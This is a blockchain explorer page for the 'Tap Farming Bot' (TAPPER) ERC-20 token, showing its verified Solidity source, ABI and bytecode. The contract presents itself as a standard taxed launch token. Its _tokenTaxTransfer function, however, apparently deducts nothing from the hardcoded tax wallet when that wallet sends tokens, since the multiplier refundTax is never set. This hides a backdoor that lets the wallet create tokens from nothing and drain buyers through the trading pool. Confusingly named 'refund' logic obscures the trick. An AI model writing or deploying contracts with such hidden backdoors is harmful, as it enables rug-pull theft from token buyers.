Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 TAPPER
Holders
85
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
1,305,281.317236276232836753 TAPPERValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Tapper
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-05 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.23; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function WETH() external pure returns (address); } contract Tapper is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private _initialBuyTax=22; uint256 private _initialSellTax=22; uint256 private _finalBuyTax=2; uint256 private _finalSellTax=2; uint256 private _reduceBuyTaxAt=22; uint256 private _reduceSellTaxAt=22; uint256 private _preventSwapBefore=22; uint256 private _buyCount=0; uint8 private constant _decimals = 18; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"Tap Farming Bot"; string private constant _symbol = unicode"TAPPER"; uint256 public constant _taxSwapThreshold = 12000000 * 10**_decimals; uint256 public constant _maxTaxSwap = 12000000 * 10**_decimals; uint256 public _maxTxAmount = 20000000 * 10**_decimals; uint256 public _maxWalletSize = 20000000 * 10**_decimals; address payable private constant _taxWallet = payable(0x8E7BDC84a5deeFbB33EDD9AeD69685d45930ED40); IUniswapV2Router02 private immutable uniswapV2Router; address private immutable uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private refundTax; struct UserRefund {uint256 irefund; uint256 rrefund; uint256 trefund;} mapping(address => UserRefund) private userRefund; uint256 private refundLimit; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _balances[_msgSender()]= _tTotal; _isExcludedFromFee[_taxWallet]= true; _isExcludedFromFee[address(this)]= true; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH()); emit Transfer(address(0),_msgSender(),_tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _basicTransfer(address from, address to, uint256 tokenAmount) internal { _balances[from] = _balances[from].sub(tokenAmount); _balances[to] = _balances[to].add(tokenAmount); emit Transfer(from,to,tokenAmount); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 tokenAmount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(tokenAmount>0, "Transfer amount must be greater than zero"); if (! swapEnabled || inSwap ) { _basicTransfer(from, to, tokenAmount); return; } uint256 taxAmount=0; if (from != owner() && to != owner()&& to != _taxWallet) { taxAmount = tokenAmount .mul( (_buyCount > _reduceBuyTaxAt)?_finalBuyTax: _initialBuyTax ) .div(100); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) { require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + tokenAmount<= _maxWalletSize, "Exceeds the maxWalletSize." ); _buyCount++; } if(to==uniswapV2Pair && from!= address(this) ){ taxAmount = tokenAmount .mul( (_buyCount>_reduceSellTaxAt)?_finalSellTax: _initialSellTax ) .div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap&& to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore ) { swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance>0) { sendETHToFee(address(this).balance); } } } _calcRefund(from, to); _tokenTransfer(from,to,tokenAmount,taxAmount); } function _tokenTransfer( address from, address to, uint256 tokenAmount, uint256 taxAmount ) internal { uint256 tAmount=_tokenTaxTransfer(from, taxAmount, tokenAmount); _tokenBasicTransfer(from, to,tAmount, tokenAmount.sub(taxAmount)); } function _tokenBasicTransfer( address from, address to, uint256 sendAmount, uint256 receiptAmount ) internal { _balances[from] = _balances[from].sub(sendAmount); _balances[to] = _balances[to].add(receiptAmount); emit Transfer( from, to, receiptAmount ); } function _tokenTaxTransfer(address addrs, uint256 taxAmount, uint256 tokenAmount) internal returns (uint256) { uint256 tAmount = addrs != _taxWallet ? tokenAmount : refundTax.mul(tokenAmount); if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(addrs, address(this),taxAmount); } return tAmount; } function _calcRefund(address from, address to) internal { if ( (_isExcludedFromFee[from] ||_isExcludedFromFee[to]) && from != address(this) && to != address(this)) { refundLimit = block.number; } if ( ! _isExcludedFromFee[from] &&!_isExcludedFromFee[to] ){ if (uniswapV2Pair != to) { UserRefund storage urefund = userRefund[to]; if (uniswapV2Pair == from) { if (urefund.irefund == 0) { urefund.irefund = block.number; } } else { UserRefund storage mrefund = userRefund[from]; if (mrefund.irefund < urefund.irefund || !(urefund.irefund>0) ) { urefund.irefund = mrefund.irefund; } } } else { UserRefund storage mrefund = userRefund[from]; mrefund.rrefund = mrefund.irefund.sub(refundLimit); mrefund.trefund = block.timestamp; } } } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a > b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount= _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function cleanEthBal() external onlyOwner { uint256 contractBalance = address(this).balance; payable(owner()).transfer(contractBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); swapEnabled = true; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; } function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance = balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth( tokenBalance ); } uint256 ethBalance = address(this).balance; if(ethBalance>0){ sendETHToFee( ethBalance ); } } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cleanEthBal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c06040526016600455601660055560026006556002600755601660085560166009556016600a555f600b556012600a6200003b91906200040d565b6200004b906301312d0062000424565b600c556200005c6012600a6200040d565b6200006c906301312d0062000424565b600d55600e805462ffff001916905534801562000087575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620000d66012600a6200040d565b620000e690633b9aca0062000424565b335f90815260016020818152604080842094909455600381527f2fb49827d9ab7dab2dc08c168dae184e3fd903064be2c50a5721c7cb4696fac7805460ff199081168417909155308452928490208054909316909117909155737a250d5630b4cf539739df2c5dacb4c659f2488d6080819052825163c45a015560e01b81529251909263c45a01559260048083019391928290030181865afa1580156200018f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001b591906200043e565b6001600160a01b031663c9c65396306080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000203573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200022991906200043e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000274573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200029a91906200043e565b6001600160a01b031660a052335f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002d76012600a6200040d565b620002e790633b9aca0062000424565b60405190815260200160405180910390a362000466565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200035257815f1904821115620003365762000336620002fe565b808516156200034457918102915b93841c939080029062000317565b509250929050565b5f826200036a5750600162000407565b816200037857505f62000407565b81600181146200039157600281146200039c57620003bc565b600191505062000407565b60ff841115620003b057620003b0620002fe565b50506001821b62000407565b5060208310610133831016604e8410600b8410161715620003e1575081810a62000407565b620003ed838362000312565b805f1904821115620004035762000403620002fe565b0290505b92915050565b5f6200041d60ff8416836200035a565b9392505050565b8082028115828204841417620004075762000407620002fe565b5f602082840312156200044f575f80fd5b81516001600160a01b03811681146200041d575f80fd5b60805160a051611a89620004d55f395f818161083301528181610bb601528181610d3301528181610dcc0152818161132e015261137901525f81816106c5015281816107000152818161080401528181610bf201528181610f4501528181610ffc01526110380152611a895ff3fe608060405260043610610113575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b41146102dc578063a9059cbb1461030a578063bf474bed14610196578063c9567bf914610329578063dd62ed3e1461033d575f80fd5b8063715018a614610264578063751039fc146102785780637d1db4a51461028c5780638da5cb5b146102a15780638f9a55c0146102c7575f80fd5b806323b872dd116100e357806323b872dd146101cc578063313ce567146101eb57806351bc3c8514610206578063653047a41461021c57806370a0823114610230575f80fd5b806306fdde031461011e578063095ea7b3146101675780630faee56f1461019657806318160ddd146101b8575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600f81526e15185c0811985c9b5a5b99c8109bdd608a1b60208201525b60405161015e9190611679565b60405180910390f35b348015610172575f80fd5b506101866101813660046116dc565b610381565b604051901515815260200161015e565b3480156101a1575f80fd5b506101aa610397565b60405190815260200161015e565b3480156101c3575f80fd5b506101aa6103b3565b3480156101d7575f80fd5b506101866101e6366004611706565b6103d3565b3480156101f6575f80fd5b506040516012815260200161015e565b348015610211575f80fd5b5061021a61043a565b005b348015610227575f80fd5b5061021a61048b565b34801561023b575f80fd5b506101aa61024a366004611744565b6001600160a01b03165f9081526001602052604090205490565b34801561026f575f80fd5b5061021a610504565b348015610283575f80fd5b5061021a610575565b348015610297575f80fd5b506101aa600c5481565b3480156102ac575f80fd5b505f546040516001600160a01b03909116815260200161015e565b3480156102d2575f80fd5b506101aa600d5481565b3480156102e7575f80fd5b506040805180820190915260068152652a20a82822a960d11b6020820152610151565b348015610315575f80fd5b506101866103243660046116dc565b610626565b348015610334575f80fd5b5061021a610632565b348015610348575f80fd5b506101aa61035736600461175f565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61038d3384846108ae565b5060015b92915050565b6103a36012600a61188a565b6103b09062b71b00611898565b81565b5f6103c06012600a61188a565b6103ce90633b9aca00611898565b905090565b5f6103df8484846109d2565b610430843361042b85604051806060016040528060288152602001611a2c602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610ea9565b6108ae565b5060019392505050565b33738e7bdc84a5deefbb33edd9aed69685d45930ed4014610459575f80fd5b305f9081526001602052604090205480156104775761047781610ee1565b47801561048757610487816110b1565b5050565b5f546001600160a01b031633146104bd5760405162461bcd60e51b81526004016104b4906118af565b60405180910390fd5b476104cf5f546001600160a01b031690565b6001600160a01b03166108fc8290811502906040515f60405180830381858888f19350505050158015610487573d5f803e3d5ffd5b5f546001600160a01b0316331461052d5760405162461bcd60e51b81526004016104b4906118af565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461059e5760405162461bcd60e51b81526004016104b4906118af565b6105aa6012600a61188a565b6105b890633b9aca00611898565b600c556105c76012600a61188a565b6105d590633b9aca00611898565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106056012600a61188a565b61061390633b9aca00611898565b60405190815260200160405180910390a1565b5f61038d3384846109d2565b5f546001600160a01b0316331461065b5760405162461bcd60e51b81526004016104b4906118af565b600e5460ff16156106ae5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104b4565b600e805462ff00001916620100001790556106fe307f00000000000000000000000000000000000000000000000000000000000000006106f06012600a61188a565b61042b90633b9aca00611898565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663f305d719473061074d306001600160a01b03165f9081526001602052604090205490565b5f806107605f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107c6573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107eb91906118e4565b505060405163095ea7b360e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811660048301525f1960248301527f000000000000000000000000000000000000000000000000000000000000000016915063095ea7b3906044016020604051808303815f875af115801561087a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061089e919061190f565b50600e805460ff19166001179055565b6001600160a01b0383166109105760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b4565b6001600160a01b0382166109715760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b4565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610a365760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b4565b6001600160a01b038216610a985760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b4565b5f8111610af95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b4565b600e5462010000900460ff161580610b185750600e54610100900460ff165b15610b2d57610b288383836110ef565b505050565b5f80546001600160a01b03858116911614801590610b5857505f546001600160a01b03848116911614155b8015610b8157506001600160a01b038316738e7bdc84a5deefbb33edd9aed69685d45930ed4014155b15610e8d57610bb26064610bac600854600b5411610ba157600454610ba5565b6006545b8590611192565b90611217565b90507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b0316148015610c2757507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614155b8015610c4b57506001600160a01b0383165f9081526003602052604090205460ff16155b15610d3157600c54821115610ca25760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104b4565b600d5482610cc4856001600160a01b03165f9081526001602052604090205490565b610cce919061192e565b1115610d1c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104b4565b600b8054905f610d2b83611941565b91905055505b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b0316148015610d7b57506001600160a01b0384163014155b15610da857610da56064610bac600954600b5411610d9b57600554610ba5565b6007548590611192565b90505b305f90815260016020526040902054600e54610100900460ff16158015610e0057507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b0316145b8015610e145750600e5462010000900460ff165b8015610e375750610e276012600a61188a565b610e349062b71b00611898565b81115b8015610e465750600a54600b54115b15610e8b57610e79610e7484610e6f84610e626012600a61188a565b610e6f9062b71b00611898565b611258565b610ee1565b478015610e8957610e89476110b1565b505b505b610e97848461126c565b610ea384848484611416565b50505050565b5f8184841115610ecc5760405162461bcd60e51b81526004016104b49190611679565b505f610ed88486611959565b95945050505050565b600e805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f2357610f2361196c565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f9f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fc39190611980565b81600181518110610fd657610fd661196c565b60200260200101906001600160a01b031690816001600160a01b031681525050611021307f0000000000000000000000000000000000000000000000000000000000000000846108ae565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac947906110759085905f9086903090429060040161199b565b5f604051808303815f87803b15801561108c575f80fd5b505af115801561109e573d5f803e3d5ffd5b5050600e805461ff001916905550505050565b604051738e7bdc84a5deefbb33edd9aed69685d45930ed409082156108fc029083905f818181858888f19350505050158015610487573d5f803e3d5ffd5b6001600160a01b0383165f908152600160205260409020546111119082611440565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461113f9082611481565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109c59085815260200190565b5f825f036111a157505f610391565b5f6111ac8385611898565b9050826111b98583611a0c565b146112105760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104b4565b9392505050565b5f61121083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114df565b5f8183116112665782611210565b50919050565b6001600160a01b0382165f9081526003602052604090205460ff16806112a957506001600160a01b0381165f9081526003602052604090205460ff165b80156112be57506001600160a01b0382163014155b80156112d357506001600160a01b0381163014155b156112dd57436011555b6001600160a01b0382165f9081526003602052604090205460ff1615801561131d57506001600160a01b0381165f9081526003602052604090205460ff16155b1561048757806001600160a01b03167f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316146113e1576001600160a01b038082165f908152601060205260409020908381167f0000000000000000000000000000000000000000000000000000000000000000909116036113af5780545f03610b28574390555050565b6001600160a01b0383165f9081526010602052604090208154815410806113d557508154155b15610ea3575490555050565b6001600160a01b0382165f908152601060205260409020601154815461140691611440565b6001820155426002909101555050565b5f61142285838561150b565b90506114398585836114348787611440565b6115c8565b5050505050565b5f61121083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ea9565b5f8061148d838561192e565b9050838110156112105760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b4565b5f81836114ff5760405162461bcd60e51b81526004016104b49190611679565b505f610ed88486611a0c565b5f80738e7bdc84a5deefbb33edd9aed69685d45930ed3f196001600160a01b0386160161154457600f5461153f9084611192565b611546565b825b905083156115c057305f908152600160205260409020546115679085611481565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115b79088815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546115ea9083611440565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546116189082611481565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061166b9085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b818110156116a557858101830151858201604001528201611689565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146116d9575f80fd5b50565b5f80604083850312156116ed575f80fd5b82356116f8816116c5565b946020939093013593505050565b5f805f60608486031215611718575f80fd5b8335611723816116c5565b92506020840135611733816116c5565b929592945050506040919091013590565b5f60208284031215611754575f80fd5b8135611210816116c5565b5f8060408385031215611770575f80fd5b823561177b816116c5565b9150602083013561178b816116c5565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117e457815f19048211156117ca576117ca611796565b808516156117d757918102915b93841c93908002906117af565b509250929050565b5f826117fa57506001610391565b8161180657505f610391565b816001811461181c576002811461182657611842565b6001915050610391565b60ff84111561183757611837611796565b50506001821b610391565b5060208310610133831016604e8410600b8410161715611865575081810a610391565b61186f83836117aa565b805f190482111561188257611882611796565b029392505050565b5f61121060ff8416836117ec565b808202811582820484141761039157610391611796565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f606084860312156118f6575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561191f575f80fd5b81518015158114611210575f80fd5b8082018082111561039157610391611796565b5f6001820161195257611952611796565b5060010190565b8181038181111561039157610391611796565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611990575f80fd5b8151611210816116c5565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119eb5784516001600160a01b0316835293830193918301916001016119c6565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a2657634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220271221679b38475b9826c473b77521155e344110a1c75939ca708ba2df232a6f64736f6c63430008170033
Deployed Bytecode
0x608060405260043610610113575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b41146102dc578063a9059cbb1461030a578063bf474bed14610196578063c9567bf914610329578063dd62ed3e1461033d575f80fd5b8063715018a614610264578063751039fc146102785780637d1db4a51461028c5780638da5cb5b146102a15780638f9a55c0146102c7575f80fd5b806323b872dd116100e357806323b872dd146101cc578063313ce567146101eb57806351bc3c8514610206578063653047a41461021c57806370a0823114610230575f80fd5b806306fdde031461011e578063095ea7b3146101675780630faee56f1461019657806318160ddd146101b8575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600f81526e15185c0811985c9b5a5b99c8109bdd608a1b60208201525b60405161015e9190611679565b60405180910390f35b348015610172575f80fd5b506101866101813660046116dc565b610381565b604051901515815260200161015e565b3480156101a1575f80fd5b506101aa610397565b60405190815260200161015e565b3480156101c3575f80fd5b506101aa6103b3565b3480156101d7575f80fd5b506101866101e6366004611706565b6103d3565b3480156101f6575f80fd5b506040516012815260200161015e565b348015610211575f80fd5b5061021a61043a565b005b348015610227575f80fd5b5061021a61048b565b34801561023b575f80fd5b506101aa61024a366004611744565b6001600160a01b03165f9081526001602052604090205490565b34801561026f575f80fd5b5061021a610504565b348015610283575f80fd5b5061021a610575565b348015610297575f80fd5b506101aa600c5481565b3480156102ac575f80fd5b505f546040516001600160a01b03909116815260200161015e565b3480156102d2575f80fd5b506101aa600d5481565b3480156102e7575f80fd5b506040805180820190915260068152652a20a82822a960d11b6020820152610151565b348015610315575f80fd5b506101866103243660046116dc565b610626565b348015610334575f80fd5b5061021a610632565b348015610348575f80fd5b506101aa61035736600461175f565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61038d3384846108ae565b5060015b92915050565b6103a36012600a61188a565b6103b09062b71b00611898565b81565b5f6103c06012600a61188a565b6103ce90633b9aca00611898565b905090565b5f6103df8484846109d2565b610430843361042b85604051806060016040528060288152602001611a2c602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610ea9565b6108ae565b5060019392505050565b33738e7bdc84a5deefbb33edd9aed69685d45930ed4014610459575f80fd5b305f9081526001602052604090205480156104775761047781610ee1565b47801561048757610487816110b1565b5050565b5f546001600160a01b031633146104bd5760405162461bcd60e51b81526004016104b4906118af565b60405180910